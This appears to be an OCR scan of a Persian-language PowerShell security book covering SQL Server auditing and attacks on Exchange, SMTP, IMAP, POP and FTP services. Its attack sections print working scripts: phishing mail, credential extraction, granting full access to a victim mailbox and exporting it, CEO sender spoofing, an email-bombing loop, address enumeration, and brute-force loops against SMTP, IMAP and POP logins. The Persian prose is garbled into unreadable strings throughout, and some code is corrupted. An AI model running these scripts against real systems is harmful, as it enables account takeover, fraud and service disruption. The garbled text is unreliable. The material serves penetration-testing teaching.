soliwl SQL Server ols )5 G 4 oad osls Lolais! bl asl sl olss oo PowerShell ;|

2,5

StargetUsername = "JohnDoe"

Scommand = Sconnection.CreateCommand()

Scommand.CommandText = "EXEC sp_helprotect @username;"
Scommand.Parameters.AddWithValue("@username", StargetUsername)
Sprivileges = Scommand.ExecuteReader()

while (Sprivileges.Read()) {

Write-Host "Object Name: $(Sprivileges["Object_ Name"]),
Permission: S(Sprivileges["Permission_Name"]), Grantor:
S(Sprivileges["Grantor"])"

}

s oo plil |y 5 05l5e Jle (pl yo

WS asie | (StargetUsername) Ll s g (50,18 ol )

QS Ll 5 elilesl obsb slp 1, (sp_helprotect) Stored Procedure <, .Y

E S el g agzee slil 8l 350 yo ledbl iyles .Y
Security policy testing
&lg oo PowerShell ais Jleel |, cosl Slelss § lacaulw b s oo 051 o)l 0w 4 SQL Server
s Saales looged (p e b a5 098 Jol> laebl B ans ploxl 095 jsbas |) b ciwlas (nl b))
Password policy assessment
Slelas b)) sl SQL Server ;1 wlgs o PowerShell .cul ppe s jaue 30, lacelons o)

S 9> g g I e e, (ot b

Scommand = Sconnection.CreateCommand()
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Scommand.CommandText = "SELECT * FROM sys.sql_logins WHERE is_policy
checked = 1;"
SpasswordPolicies = Scommand.ExecuteReader()
while (SpasswordPolicies.Read()) {

Write-Host "Login: S(SpasswordPolicies["name"]), Password Policy
Enforced: S(SpasswordPolicies["is_policy checked"])"

}

oS oo pll 1y 0505050 Jlie cpl jo

Ll gee 5oy glocindas (05 JLd b i 43 9959 9590 )0 Sledlbl oLk sl 92 9 vp S A

3 b 05 oo Jlasl pias 4 9955 52 Sl e 30y Slotenlow LT &Sl 2ol Y
Encryption and SSL/TLS

Oy ooy )'\ Cdadlos 6‘):’ SSL/TLS )" oolaw! ) Lg)L\f)‘.o) Slodass 6.3[.3)')‘ J.al...: b ‘5....“‘ Cnd

Scommand = Sconnection.CreateCommand()

Scommand.CommandText = "SELECT name, protocol_desc, local_net_address,
local_tcp_port, type_desc, role_desc FROM sys.dm_exec_connections;"
Sconnections = Scommand.ExecuteReader()

while (Sconnections.Read()) {

Write-Host "Name: S(Sconnections["name"]), Protocol:
S(Sconnections["protocol_desc"]), Local Address:
S(Sconnections["local_net_address"]), Local Port:
S(Sconnections["local_tcp_port"]), Type: S(Sconnections["type_desc"]),

Role: S(Sconnections["role_desc"])"

}

oo plsl ) 25 9)lse Jle cpf o
SS9 g oy o Jled VL] 4 bgy pe Sledbl b5k sl )

S g Jlal g5 e dome Oygy esloe ool (IS Jlasl ol 9550 10 SLSs iales LY
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Data protection and encryption

SQL Server ;s oo (g5l ooly (5,135 50, 5 ools 5l cbla> zhw obj,l slp ol o POwerShell
S,S oolaiul

Data encryption

JEsl Ji> ,0 g At Rest cl> o 1) lasols SQL Server L1 aSl v, »» sl PowerShell ;1 ol
RVELY ooLb.‘Z....:‘P L J..:\SGA LS)‘K}")

Scommand = Sconnection.CreateCommand()
Scommand.CommandText = "SELECT name, is_encryption_enabled,
encryption_type_desc FROM sys.dm_database_encryption_keys;"
SencryptionKeys = Scommand.ExecuteReader()

while (SencryptionKeys.Read()) {

Write-Host "Database: S(SencryptionKeys["name"]), Encryption
Enabled: S(SencryptionKeys["is_encryption_enabled"]), Encryption Type:
S(SencryptionKeys["encryption_type_desc"])"

}

e oo el ) 1050 lse Jle ol 5o
S 1zl 1 52 g g el oKl (6,18 0, sloondS el sk ol .
e b sl Jlad (5,038 50, 645 g 00l oL, (5lp (5,005 50, LT aSl zoles Al
Backup security

g Slewdas oy p sl ol oo POowerShell ;1 .coul vae SQL Server slas o5 laciiy cossl b))
:Q; oolaiwl ul.......w; 6L°’}9-?°°

Scommand = Sconnection.CreateCommand()
Scommand.CommandText = "EXEC sp_MSforeachdb 'USE [?]; SELECT name,
recovery_model_desc, is_broker_enabled FROM sys.databases;""
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Sdatabases = Scommand.ExecuteReader()
while (Sdatabases.Read()) {

Write-Host "Database: $(Sdatabases["name"]), Recovery Model:
S(Sdatabases["recovery_model_desc"]), Service Broker Enabled:
S(Sdatabases["is_broker_enabled"])"

}

e o0 plxil ) 1050 lge Jle ol 5o
B slp 5 S Service Broker caxsg g obib sl os 4 by e Sledbl obsb s )
AS Lyl ool oSGL
Service Broker coxsg g oLk slaJos wsls oL o6 Lioles .Y
Logging and monitoring
Golg> 4wl g olelis sl SQL Server ol g s slacu bl oL, o Wiy o PowerShell
AL S el
Reviewing SQL server error logs

Lo Jlaw 5 slailis 4345 2 5l SQL Server glas sla o,155 v, » sl PowerShell 5ol
S solarwl Cosl @

Scommand = Sconnection.CreateCommand|()
Scommand.CommandText = "EXEC xp_readerrorlog;"
SerrorLogs = Scommand.ExecuteReader()
while (SerrorLogs.Read()) {

Write-Host "Log Date: S(SerrorLogs["LogDate"]), Process Info:
S(SerrorLogs["Processinfo"]), Message: S(SerrorLogs["Text"])"

}

S se Ll 1) 5 9)l5e Jlo cnl 5o
038 2l 52 5 e p o SQLServer glbas (5155 5l sy s bk sl )
O3S slaply 5 (B3l Dbl ()1 lag b ol Y
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Monitoring SQL Server audit logs

Shass S8 eadled 5 oyllai g obo, 4 Wil co a5 WS o o2l 1) (haee oo LB SQL Server

Scommand = Sconnection.CreateCommand()
Scommand.CommandText = "SELECT * FROM sys.fn_get_audit_file('C:\
Audit\*.sglaudit', DEFAULT, DEFAULT);"
SauditLogs = Scommand.ExecuteReader()
while (SauditLogs.Read()) {

Write-Host "Event Time: S(SauditLogs["event_time"]), Action:
S(SauditLogs["action_id"]), Object Name: S$(SauditLogs["object_name"])"
}

e o0 plsl 1) 50 5l5e Jle ool 5o

25 1,21 SQLServer Ll slosylis 5l lassg,s bk sly sz 5 on e )

Lesl ol g pladl slaawlis daslayg, by Lioles Y
el laasie SQLServer il sla 555 s PowerShell g e Sl ool 5l oslaul b
g oS cdatlre wlas sloools 51 waisS cogas 1) SQL Server ools slasll il cuxdy sy o
s el See ok ) Jleisl Slasags
pll S g 5568 Sllaxde 03500 ;o 5 AV gl Wb dlad ol Sl a5 Cosl o ST (pl ) a5
Iy calis jomme ddon 3L 4L3ls gaz S35 Seild Cdlse Wlg co o yime b lome s  Scial o 050
S Lo (el s gl 1y sy a9 9SS 8L,
Summary
50 3985 s pll gl PowerShell 51 olgs o 655> 4 alosls ylid (Jad cpl 0,5 aods sl p
Microsoft 4 PostgreSQL MySQL slasols oL 4 axg5 20,5 solisw! calises SQL sols slaolssl
alaz slaylo p ols lid (gl oals IS digad (5 S5 0dls oL g45 0 sl .l C3glaes SQL Server
A% oolarw! calise
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a3l Juesl sloygrm ply 50 sl cns plil sl |, PowerShell ;1 solaiul sgos wons Juad o
Zgal pulys POP g IMAP SMTP Exchange
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Email Services: Exchange, SMTP, IMAP, and POP - lix |ad
SlbLs )l o3ls oo Mail (sla g, calises glgl 1o s pdocam! sla b)) slosl Sl onl)b & Juad oyl
5 sl gl ygps (g3luipenl i 5 cnl 4 g 0S oo Wl (00 )15 5 S Lz o pwlal (L2E Jo
el oy (990 Gy 50 5 (S2LSe (09 ile e Sl plaabl sl el lo )55 5 (YL Caeal

sl (55578 0SS 03lital s5u L] 5l g g0 o y5e alse a5 Lo iy 88y 5 (Lol

3 el Lo ol (6l gy (el Copmidg CogBi g S0 sl Al 005, o g pdycam] OL))

2,5 ealym 55505 (6 pdyaml (o3l (oulel Az s (55 Lo o Juad 0l
ol el Jusl jgpm 4 (63555 blas olulid (s piucaw! obj,l 0 8 sl :Port identification
Doy b D)ys o gl e ools (ylis (A3 5 (2 )5 (sleaSl 4 cus s BB 5L slos g b (69,5 bl
Sy led aln; cwl 65950 bS5 cnl (@lolid wiS (o 6yl ool 59 oS Cosl (SS90 b gy &
@5 01 65y 85 1) (oo 2 Sl B 05l o 0B 1, Lo (s (pl S (o0 SaS 55 alos o
Pl Jle g 4 les (ololid ) (6 pdycnml b Canjob (g0 S 455518 5 0iS (b3l 5900 |,
sl 20 Lot POP3 Slp WV ol 5L sl e sluliss POP Jrppe Mail Hor S 2b3)]

S st i sla b, bl 5 a4l wolaul s o slacs e Sy .l wgo Hlews POP3S

ol S o 3, b jlme |y Jessl g molie 4 (o yiws a5 Sl S5 2uge 51,>1 :Authentication
Syl b3l anT 50 (cwlul a8 S Jual jgm Lawgs ool a3 )5 )5 4 Cga 1ol slopunilSa
Sl cdidlre g jlreyed (o yiwd 3l xS slr Sl 698 5 clie Sy b Cagr ol lap il ool
A0 ol oog pslie 5 Cuga ol anl B cwyp Jeld 5w cpl o b))l e Sl ulus laosly
o) mized Bl s 698 st 1oy slacinliw Jlesl 8,90 40 cwlis oS 4 brute-force o >
(8ly (590 3l S 0 walol yo .l po) & ye0 0 (MFA) Lole wi> cugn 5l >l ol ol Jolis b3
Bl ol Gl 1) gwiws 3, b slasl gl o 2Ulg5 (2Ll sl Cuse 5T Sla D0 9,5 092
s Sl s 4 033lg5 oo (S8 Ol )5 Laid 4SS po (pedl Cuge ol Slapan Sl Coiel S y0

Aen Voo a5 Canl g i sl 5 Sledlbl 5l Jalts iS5 (| :Banner grabbing

)90 50 |y gaieds)) la i wiilgi oo g Sla sk 095 o0 &l oy p Lasgs LLS I 6513 0

)
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L Lo e ogalls 6“6;1;\{.%1 slolis o ol pl s 1 b 4y g (60,0 9 adend ¢ l38le 5

Qg oo yo ol SMTP 5,0 a4 Jlail ol (Jlo olgie 4 aiiiws dute o3 5 15800 5 laases

15 Sl 6558 yo 0 Jl3le 5 aeus yidls S IKaT (T aeis § Jeal 59 13808 5 390 40 (SledIb
RWXINES LmQT sl

5o i o LSS 1) Jeoal slojgrw lp 68 il (b3l 3l SO ggeme y3 £ aw (nl
Jpl S lge 4 PowerShell 1 oolatal U 1) Jos slacSaSS 5 o e o fad cpl (gom sla sy
Ol ol 5o 0,8 meles ) bl sleac 51 S 0 slxil g1y 0,15 e (yguslogil g (o gien Sl
Jol> liebsl o cuils aialgs 095 fas] (6o gm0 Cudal b)) 092w 5l el Sy B adles ( Jad
Sl oo Sb ot lasags ol 10 polie g sleel BB cilo yore Joou! Clbls )l 45" 0SS 0

w‘ OJ.AT J..a.‘? g_)"‘ )o ) r Q)a.o &5L9| uLc-s.«oj.o ).:) )Q

e PowerShell and Exchange

e PowerShell and SMTP

e PowerShell and Internet Message Access Protocol (IMAP)
e PowerShell and POP

PowerShell and Exchange

S olosle S sl c3lu 5 g5kl sl Microsoft Exchange sla g ,w 0 3585 s plo!
Microsoft  sla,g,m ;o 3485 s slp 1, PowerShell ;I solinw! Sk ise cpl ;o .ol
0,5 mely> sy 1 85l 0 9 G2sled 55 a3 b Exchange

Enumeration with PowerShell

&> sl p PowerShell L .cwl Exchange q,. col b5, 50 o8 sl Enumeration al> .
oS s ool Jlaix! slacs pdycanl 5 () (500,80 gm0 0550 50 Sledlbl (g 5]

Autodiscover Enumeration

Sloalas aos o o)l Joal o) yiie 4y a5 cwl Exchange Server g sli>1 51 S Autodiscover
30 SledMbl b aes oo )13 Baa | g opl Cdel lazlps aisS aiS [Sog5 job |y 55,

Autodiscover Enumeration slxil sly oyl55 oo POWerShell ;1 .as,sl cass a5 55 3,50

)
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SleMbl g aiS oo inlosl ooy aseie Exchange s, sl |, Autodiscover 5 giws 5,5 solaul

B oo UL..; |) (ke "')')‘ ijiu

Test-OutlookWebServices -ClientAccessServer mail.snowcapcyber.com
-Autodiscover

User enumeration

IS )| U‘?JQSA ] 6)5),5 )&-AM.A.’ Lg)bﬁo)@a 9 &Lw‘ (WA 6‘)’ groc Jw‘ LSLQULMO Lg:LM:L».M:
5 ainles slonl o] sl 4an j5tud ol 0,5 solitl Jaal slocls olulis I, Get-User

Get-User | Select-Object DisplayName, PrimarySmtpAddress

sy loslainl L1y eges slradigy auilei co el Jloix] dlem Fohaw 51 Koo (SO eges slralig
wles olulis Get-PublicFolder

Get-PublicFolder

Exchange Version Enumeration

SS ol assbus LgL(bLg)JAJwT LsaLuL».w £y |J.a) Cew! P )L».w.: EXChange 99y ‘_9..\_9& At g 3o
s Exchange ;s . ol jgiws cpl 0,5 soliiwl asens oledbl obsk sly ol o PowerShell ;1S

Get-ExchangeServer | Select-Object Name,AdminDisplayVersion

Exploitation with PowerShell
eolis 1) Jisl slag pdycaw] g oad plsl Exchange 4, Enumeration anls o5 oKis
laga sbs.o.u raL‘?v.:‘ 63)1}‘ C'_:)}.o N bLo‘ l.> ».bL: 4.1.‘>)..o u.!‘ ! 6)‘0).3 0yl (SO 4.1.‘>)..o s-.bb;

S0y oy b Coglins] a.:.ﬂ)_é pll 4y pladl g ls ) LQQT ui;,{Lo)’T Ty 970 &S oBpiucms ;O
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Phishing attacks

Slgmme 9lgs o oS Jlw )l EXChange jq,. 50 o5 Gl p 1, Scid sla Juas! &lg5 o POwerShell
aslos ool Lo, T Lol sl PowerShell 51 g ucS sbowl |, o5 oy
Send-MailMessage -From attacker@snowcapcyber.com -To victim@
snowcapcyber.com -Subject "Important: Urgent Action Required" -Body

"Click here to reset your password: http://maliciouslink.com"
-SmtpServer mail.contoso.com

G 1) ol Sl B wins g d 1y S oS mlh Kicind slo eoy] Jlo,l b ol co lozlos
Credential Harvesting

il oo Glazlpe wish claiz] gwaige SIST Ko L Kiud e SL3 ol s )3
Sledlbl zl Sl gl PowerShell 51 ojlgs oo 5 Jle aisle 0isS 8l 0 1y 545 5L5 5,50 Credential
10,5 oolaiwl 09,9

Scred = Get-Credential
Scred.GetNetworkCredential().Password

QS o 7l 3l | e 30, GetNetworkCredential() 5 5,5 o |, 05,9 ledb| Get-Credential

Mailbox access

@L)B |V|al|b0X EY ».\.)‘9."5& 09.OJL» )9.b EY VLY L\.u (e o ).»)lS x_i’ Lg).g)ls Sleds| L W}LQFQ ASJ ).ﬂ

>osls C‘).?Ldu.d‘ 9 LQJ....Q.:‘ u..&.»‘? [Mailbox A (o Y 6‘)4 u‘ysa PowerShell )‘ ..\.uola azsls (e yod
@ bg e Sledbl g ooges olw! EXChange jg,w 4 90 of, 5l Session G e Sl ol 0,5 ool

SSession = New-PSSession -ConfigurationName Microsoft.Exchange
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-ConnectionUri http://mail.contoso.com/PowerShell/ -Authentication
Kerberos

Import-PSSession $Session

Get-Mailbox -User victim@snowcapcyber.com | Get-MailboxStatistics |
Format-List LastLoggedOnUserAccount, LastLogonTime

Privilege escalation

Klgs oo (ol il Exchange g, ,o Olilowl iol38l Jlis 4 Conl \Son ploe G cad gl cus yitsd 51 o
lacalad pl Glp bl el slaclus S b o Slol olilawl slacl Mailbox slejgme yss Jolis
s o |y b3 Mailbox 4 JelS cw yiws ol 4 jgiws opl 0,5 eolawl PowerShell ;i g o

Add-MailboxPermission -User attacker@snowcapcyber.com -AccessRights
FullAccess -ldentity victim@snowcapcyber.com

Exploiting known vulnerabilities
Dail ansls gloads alis slas pdycaw! Al o 5,500 Il o5 e asle Exchange slag .

S edlie plgie 4008 ooliiul sgm Bad placm 10 3929 Sjge 40 b ] ol 5l wlgige S ol
L e PowerShell s ls o 00 <o Sl S slyls Exchange (g, ;s oo aslis o pisca! S
20,5 1l ) 5T lss oo el

Data exfiltration

onl S solaisl Exchange g, 5l wlas slaosls z1,5l sl PowerShell ;| el Sew ylaxle

Olhgiome Hgiwd (pl il wlas Sledbl ple g bcwgn pblbre (sl EXport Joli wiles
1S oo Export asis Share i o (PST) saseis gjle 0,33 Joo b G a1, L3 Mailbox

New-MailboxExportRequest -Mailbox victim@snowcapcyber.com -FilePath
"\\server\share\export.pst"

Qi a5 ol Sleladl des g ol sod diiaw 293 4 b d985 s gl PowerShell ;1 solaz!
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, g 4 [Microsoft Exchange sla g m ;o 3485 cund (gl aiey,l |l S PowerShell cass js

aiby ol a4 canlio jeme by (SN Vgt 8,95 0 ol ol b sl (6505 00 5 lolis J>lpe
(o5t Wleyzea il liabl (gl EXChange 5, jo (il cins Ll a8 5 (alolids Lo Bua sl (59,2

ol Joosl Dloas (890 (o yiwd 10 9 (S LSS
PowerShell and SMTP

PowerShell .cul pgo b Hlojle o Jumsl clo s b, 6l SMTP (sla g o 10 3985 s lo]
5 08,5 ololis ) b plicanl b oS oo S sl laaste 4 a5 bl goced;)l Il wilg oo
SMTP (slo g 3985 s 51, POWerShell ;1 solisnl sgos allie 'l ;o .0 ool |, SMTP (sla g s

2,5 medls sy Sl e s @lelid S5 L

Enumeration with PowerShell

SMTP 5,0 5,50 ;0 Sledbl (5,51 aax o] Bun a5 00 3585 Cud ,o 40 4l al> o Enumeration
S SeS

SMTP banner enumeration

g 3l 00liul by S o (5 1y g s 1381 o5 A g Cugh 45 Cansl (giiads | oSl gl ls SMTP

el SMTP o Slulis 4 oles oo Test-NetConnection
Test-NetConnection -ComputerName mail.snowcapcyber.com -Port 25

&S oo
SMTP user enumeration

3ol (65975 058l (61 po e 5 eloiz] (wsige 61 SMTP 500 50 pime Lol (sla ol (ol
23,5 soliiwl o w ol Lialejl sl ol o Send-MailMessage |giws

)
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Send-MailMessage -To "user@snowcapcyber.com" -From "attacker@
snowcapcyber.com" -SmtpServer mail.snowcapcyber.com

S o 0B 1y onl ool 3929 0 o0ls 926 Caidge b ply S
Open relay detection
55 )13 ooliiwl cgmr 390 jlme e Juosl ol (sl wilg3 oo 45 5L Relay SMTP Server s olols

S 34>30 Test-SMTPOpenRelay ¢ Sul jl esliiwl b wilgs o PowerShell el ppo Lo

S SLS 5L sle Relay iolos! 4 GitHub

\Test-SMTPOpenRelay.ps1 -Server mail.snowcapcyber.com

SMTP command enumeration
Send- ;oo &l o1 slacall 050 40 ciiws Wilg oo SMTP 5,0 oo Slaciiy Ol jgiws slols

13,5 eoliiwl & law SMTP il jgiws Jlo)l sl o5 oo MailMessage

Send-MailMessage -To "user@snowcapcyber.com" -From "attacker@
snowcapcyber.com" -SmtpServer mail.snowcapcyber.com -Port 25 -Body
IlEHLOII
aS oS iolesl wuilgs oo < EXPN™ L "VRFY" siile SMTP &l jgiws plo b "EHLO" o 57 3500 L
gl go (Slaidy H9ym lawgl Ol jgiws plas
Exploitation with PowerShell
i s 03,5 (6] gox |, SMTP 550 4 gy po Sledlbol oS 048 00 £9,5 Sloj ()10 0y > ye
loey] 6l oo ss7e 45 S ialesl ) slbpinses Ladh gl o5 aloye ol 4 blisl b as cul

Mo
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Spoofing sender addresses

o3l b g oo 1y o2l 20,5 ooliiul ez suis 13 b0l b Uos! o)l sl o)ls5 oo POWerShell |
13,9 Cewds -From el )L L Send-MailMessage giws

Send-MailMessage -To "user@snowcapcyber.com" -From "ceo@snowcapcyber.
com" -SmtpServer mail.snowcapcyber.com

olozel L8 & S5 )'1 J.A.ul KSELY )S_a RV ) |) Qlf.xsﬂf “3‘936" PL@{Q ~From );al)lg: Jooes L
el 00 )|

Email bombing

SIS ey olml el 5 S Loyl SMTP g s 1y ade 6l 1y g0l (sl Lol wils3 o POWerShell
o Lol 51 oV o> g0 Jloyl 6lp ol e |, Send-MailMessage jgiws 048 (DOS) g oo
13,5 o Sl

1..100 | ForEach-Object {
Send-MailMessage -To "user@snowcapcyber.com" -From "attacker@
snowcapcyber.com" -SmtpServer mail.snowcapcyber.com

}

S Jie |y ol gole o Slas 5 00905 Bpan | g ailio Wlgi oo sl 1 55k S|

User enumeration

ooliisl ime glomlus ololid 5 Jaasl lamyol ololis 50,5 Soss 6l olsi e POwerShell ;|
RS a5 WS (et jg w0 Slagewly 5 Ol g el LSLQU“’)‘)T @ Jeoal Jlo)l b Wlg oo p2rloe S 05
aeda 5 granly ool 25 035 o Jlol Lo yoT 51 (d @0 1) Lo o] o Sl l 8 s 8925 a0

A e SO plaS S WS e

Semail_addresses = "userl@snowcapcyber.com", "user2@snowcapcyber.
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com", "user3@snowcapcyber.com"
Svalid_addresses = @()
foreach (Saddress in Semail_addresses) {

Sresult = Send-MailMessage -To Saddress -From "attacker@
snowcapcyber.com" -SmtpServer mail.snowcapcyber.com -ErrorAction
SilentlyContinue

if (Sresult -eq Snull) {

Svalid_addresses += Saddress

}

}
Write-Host "Valid Email Addresses: $S(Svalid_addresses -join ', ')"

Brute-force attacks

L oo 40 3959 8l 5,5 3 L SMTP slaclus 4 |, brute-force wdle> wilss - PowerShell
L Send-MailMessage ;| )l oo johaio ol slp A0S 095 j9ue 50, 9 50,15 pb calisee slocuS 5
23,5 oolaiwl calize sl Credential

Spasswords = Get-Content "passwords.txt"
Susers = Get-Content "users.txt"
foreach (Suser in Susers) {

foreach (Spassword in Spasswords) {

Send-MailMessage -To "user@snowcapcyber.com" -From Suser
-SmtpServer mail.snowcapcyber.com -Credential (New-Object System.
Management.Automation.PSCredential(Suser, (ConvertTo-SecureString
-String Spassword -AsPlainText -Force)))

}
}

a5 S Jlo ) ool S 90 50 5 605 pb ilisie slaeaS 5 5l oslital b oS oo (W S Sl o
23591 Cowsd a1 Slome pue gmo i 09l Hobo

Mail relay abuse

Jloyl slp of 5l il o Glozrlee il azisls (pall b s jol gais Sy SMTP 5,0 S ST

OB W, 4 Sied gloeasl b aslyye Jlojl sl o1 51 g 00g0d ooliwl sgm jlxepué !
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as |, Mail Relay ale> 5 g aiS Sog5 1, anl)d opl wls o PowerShell oS solan! 5
RVLY LS}L““

Send-MailMessage -To "external@snowcapcyber.com" -From "user@
snowcapcyber.com" -SmtpServer mail.snowcapcyber.com

PRI N P E P N VU S VP URUIVN-L PO Py VO BN PRV g E SN0 Relay o;l=I SMTP 4, 31
ool 4 g 0l SMTP sla g, 3585 Cans gl (goied a8 I3l wilss o PowerShell wxs o
M wV gis dinlig al a5 Cenl s Sl o Jl ol b oS S8 el S Lo 50 bags pdycass]
Sla gy (092 (o yiwd 50 9 (S LSS (09 ailo e 5l linebol g sal o (ite Slasags plp yo cladlxe
PowerShell and IMAP

Loty Joosl clipny Cotal ol 3 mten sl HI5 SO IMAP 50 pl s 38 s pdyea] cas G plxl
&l PowerShell ;i oolieul ogzs dacal, cul ;o il jolaie sl (6l (goiadyy) 5l Wilgs co eansl adly
sl g pupd o b 1) (59,0 Oljgiws g pudlin Lo oS wuply> vy 1) IMAP 55,0 cosal 0L
p.,.,SLso 431)1 @L? 6;&%&«:&»1 S S 'al.?dl 30 Ll oy &Sélﬁ l) ‘_SL@.M

Vulnerabilities in IMAP servers

&S Col pge sl IMAP 5.0 sl pdicanl iulesl sl PowerShell i eslacsl 51 L8
sle ool Jlo )l sl aslys o Open relays lge 4 oo 00,5 IMAP la 9, :Open relays
..\.a)j )|)3 oola 29w D50 Spam

brute-force o> & ,b 51, 89,9 Sledbl oS aw conl Sew lexlee :Brute-force attacks
oo 5o 1y osls Wil co w0l (o S b ciurs (5,135 50, SSL/TLS vulnerabilities

TR U SO Jov)

A
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QST s pds ] Wlgs co yg,m Sledbl #I 5l :Banner grabbing

QL Al SO sazas yLas wilgi e 99,5 sl 3950l (0 pos> :EXcessive login attempts

WS 18 Bue 50 ools yogs dile e
Establishing an IMAP connection
Ol S B bl T Ll S Gialesl s pdocal L 51 IMAP 9,0 S5 auilgn oSl 5l L3

S obml ogou 5l Jle bxil 5o el j5ue 505 9 625 U gy oyol aile Jlal sl gl )by eelais Jolis

Import-Module MailKit

Import-Module MimeKit

Sserver = "imap.snowcapcyber.com"

Sport =993

Susername = "andrewblyth"

Spassword = "Th1s1sMypa55wO0rd"

SimapClient = [MimeKit.Net.Imap.ImapClient]::new()
SimapClient.Connect(Sserver, Sport, [System.Security.Authentication.
SsIProtocols]::Tls)

SimapClient.Authenticate(Susername, Spassword)

365 IMAP 5.0 (6l caslio polis L 1, Spassword 4 Susername Sserver o5 asé ytelas
los S cn Sl

Scanning for IMAP servers

L La:dl &l>l 095 g calisee Lgﬁlng s auls wWlbo,s 1 3L IMAP 5.0 4 Jlasl a5 ST
@yt osilly Blual lolis 4y Wiy oo IMAP cla 5 s slolid 0uiS sy |, POWerShell 51 ool
lolis AMAP. Loyl slos 55, (sl DNS (sloo 55, 5l 52 5 oy b ailgi s Lo i8S S5 le]

12 plxil [ g 5 adsl
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Resolve-DnsName -Name "imap" -Type MX

Brute-force attacks

Cos yglaie 4 IMAP 5.0 4 brute-force alo> 10,5 |So45 sl PowerShell 51 oy o Lo
WS (o8 (s 9 99800 )T e lage, Sl (Frad Bkl S Sl Gl oS eolitul sl jsee s,
D9 3,9 SG o b

SMyPasswordList = @("mypasswd1", "mypasswd2")
foreach (Spassword in S MyPasswordList) {

try {
SimapClient.Authenticate(Susername, Spassword)

Write-Host "Successful login: Spassword"

} catch {
# Handle login failures here

8

SSL/TLS vulnerability scanning

HE R ) 43‘)‘ 9w SSL/TLS WMj @y Lg‘).g ‘) Ls’ljbd“")f Ma|IK|t ddL?ULS Ad-AS oolazwl

Scapabilities = SimapClient.Capabilities
if (Scapabilities -contains "STARTTLS") {
Write-Host "STARTTLS supported"
}else {
Write-Host "STARTTLS not supported.”
Exit }
SsslVersion = SimapClient.SsIProtocol
Write-Host "Server SSL/TLS version: SsslVersion"

IMAP banner grabbing

Eign ol 39 ca ool jgre s el 3 Sl gl il gl 45 sl S5 i 18,5
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Sbanner = SimapClient.Banner
Write-Host "IMAP Server Banner: Sbanner"

oalazwl 99y )‘).9| |°)" FC W 4 Jay).o oy assLld LSL@LSJ"‘)"’W“’T ) Ls‘)" SleMb! U"‘ )‘ M‘ys,o
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IMAP exploitation testing
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PowerShell and POP
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Port identification

10,58 oolazwl Test-NetConnection jgiws 5l eolanw! b 5L slacs g Sl 51, PowerShell

Test-NetConnection -ComputerName pop.example.com -CommonTCPPort
POP3,
POP3S
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Authentication checks

Sl G935 Jlasl S g5,5 (sl PowerShell 1l o gm0 Case 521 muaille (23l sy

QS oolaiwl Cogn

SpopServer = "pop.example.com"

Sport =110

Scredentials = Get-Credential -Message "Enter POP3 credentials"
try {

SpopClient = New-Object System.Net.Sockets.TcpClient(SpopServer,
Sport)

SpopStream = SpopClient.GetStream()

SpopReader = New-Object System.lO.StreamReader(SpopStream)

SpopWriter = New-Object System.lO.StreamWriter(SpopStream)

SpopWriter.WriteLine("USER " + Scredentials.UserName)

SpopWriter.WriteLine("PASS " + Scredentials.
GetNetworkCredential().Password)

SpopWriter.WriteLine("QUIT")

Sresponse = SpopReader.ReadToEnd()

if (Sresponse -match "OK") {

Write-Host "Authentication succeeded."

" @ Securityworld.ir Luo 63l 9lid jol 6383 S iy




ES.PJ 3983 s 5y i yoly b ol @

SECURITYWORLD

} else {
Write-Host "Authentication failed." }
SpopClient.Close()
} catch {
Write-Host "Connection to POP server failed." }

5 oo oo plil | Cugp 3>l sasasl)| cleCredential b wis oo 1,3, bL3,I POP g0 by oy Sl oy

Dgs e CalSl onims ol

Brute-forcing

SpopServer = "pop.snowcapcyber.com"
Sport =110
Susers = "ajcblyth", "jsmith", "pdavies"
Spasswords = "password1", "password2", "password3"
foreach (Suser in Susers) {
foreach (Spassword in Spasswords) {
try {
SpopClient = New-Object System.Net.Sockets.
TcpClient(SpopServer, Sport)
SpopStream = SpopClient.GetStream()
SpopReader = New-Object System.l0.StreamReader(SpopStream)
SpopWriter = New-Object System.l0.StreamWriter(SpopStream)

SpopWriter.WriteLine("USER " + Suser)
SpopWriter.WriteLine("PASS " + Spassword)
SpopWriter.WriteLine("QUIT")

Sresponse = SpopReader.ReadToEnd()
if (Sresponse -match "OK") {
Write-Host "Brute force succeeded. User: Suser,
Password: Spassword"
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SpopClient.Close()
Break }
SpopClient.Close()
} catch {
Write-Host "Connection to POP server failed."

b}

oolaswl 3890 Cugh >l pw) 2 G2 Heee 10y 9 62 lopl il slacaS 5 5l oo Sl (Jlo o0l 5o
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Banner grabbing

QS S8 Sledbl ol 7l Sl 4 il o PowerShell el

SpopServer = "pop.snowcapcyber.com"
Sport =110
try {
SpopClient = New-Object System.Net.Sockets.TcpClient(SpopServer,
Sport)
SpopStream = SpopClient.GetStream()
SpopReader = New-Object System.l0.StreamReader(SpopStream)
Sbanner = SpopReader.ReadLine()
Write-Host "Banner: Sbanner."
SpopClient.Close()
} catch {
Write-Host "POP Connection failed."}
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Summary
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PowerShell and FTP, SFTP, SSH, and TFTP - 4 Jad
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e PowerShell and FTP

e Brute-forcing authentication of an FTP connection
e PowerShell and FTP

e PowerShell and SSH, SCP, and SFTP

e Brute-forcing authentication for SSH

e Security auditing tools for SSH

PowerShell and FTP
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Banner grabbing for FTP
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SftpServer = "ftp://ftp.snowcapcyber.com"
Srequest = [System.Net.WebRequest]::Create(SftpServer)
Srequest.Method = [System.Net.
WebRequestMethods+Ftp]::ListDirectoryDetails
Sresponse = Srequest.GetResponse()

Sstream = Sresponse.GetResponseStream()

Sreader = [System.lO.StreamReader]::new(Sstream)
Sbanner = Sreader.ReadToEnd()

Write-Host "Banner Information:"

Write-Host Sbanner

Sreader.Close()

Sresponse.Close()

Connecting to an FTP server

bl 5o S oo 00liil jg0 of ) FTP jg,0 G & TCP Jlasl 5 slw! sl PowerShell 51 5 a8 5o
sl o S

SftpServer = "ftp://ftp.snowcapcyber.com"
SftpUsername = "your_username"
SftpPassword = "your_password"
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SftpWebRequest = [System.Net.FtpWebRequest]::Create(SftpServer)
SftpWebRequest.Credentials = New-Object System.Net.
NetworkCredential(SftpUsername, SftpPassword)

SftpResponse = SftpWebRequest.GetResponse()

S oo i oals astiee HLiel b gm0 FTP Jlail G oS (]
Brute-forcing authentication of an FTP connection
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Anonymous access check

il el s SO Wl e 4 s o |, ANONYMOUS s s ojl>] Syl a8 FTP sla gm0
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SftpServer = "ftp://ftp.snowcapcyber.com"

SwebClient = New-Object System.Net.WebClient

Scredentials = SwebClient.Credentials

if (Scredentials.UserName -eq "anonymous" -or Scredentials.UserName

_eq Illl) {

Write-Host "Anonymous access is enabled."
}else {

Write-Host "Anonymous access is disabled."}

SSL/TLS support for an FTP server

